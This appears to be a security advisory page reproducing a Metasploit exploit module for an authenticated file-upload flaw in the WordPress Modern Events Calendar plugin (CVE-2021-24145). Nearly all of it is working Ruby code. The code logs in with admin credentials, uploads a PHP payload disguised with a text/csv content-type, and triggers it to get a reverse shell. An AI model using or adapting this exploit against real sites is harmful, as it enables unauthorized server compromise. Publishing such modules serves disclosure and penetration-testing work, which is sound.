WordPress Modern Events Calendar Remote Code Execution

2021.07.27
Credit: Ron Jost
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution', 'Description' => %q{ This module allows an attacker with a privileged Wordpress account to launch a reverse shell due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5. This is due to an incorrect check of the uploaded file extension. Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin. Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php` }, 'License' => MSF_LICENSE, 'Author' => [ 'Nguyen Van Khanh', # Original PoC and discovery 'Ron Jost', # Exploit-db 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module ], 'References' => [ ['EDB', '50115'], ['CVE', '2021-24145'], ['CWE', '434'] ], 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Wordpress Modern Events Calendar < 5.16.5', {}] ], 'Privileged' => false, 'DisclosureDate' => '2021-01-29', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']) ] end def check unless wordpress_and_online? return CheckCode::Safe('Server not online or not detected as Wordpress') end cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5') else CheckCode::Detected('The admin credentials given are wrong !') end end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Authentication failed') unless cookie payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php" post_data = Rex::MIME::Message.new post_data.add_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload_name}'") post_data.add_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'") print_status("Uploading file \'#{payload_name}\' containing the payload...") r = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'), 'headers' => { 'Origin' => full_uri('') }, 'vars_get' => { 'page' => 'MEC-ix', 'tab' => 'MEC-import' }, 'cookie' => cookie, 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200 register_file_for_cleanup(payload_name) print_status('Triggering the payload ...') send_request_cgi( 'method' => 'GET', 'headers' => { 'Origin' => full_uri('') }, 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/#{payload_name}") ) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top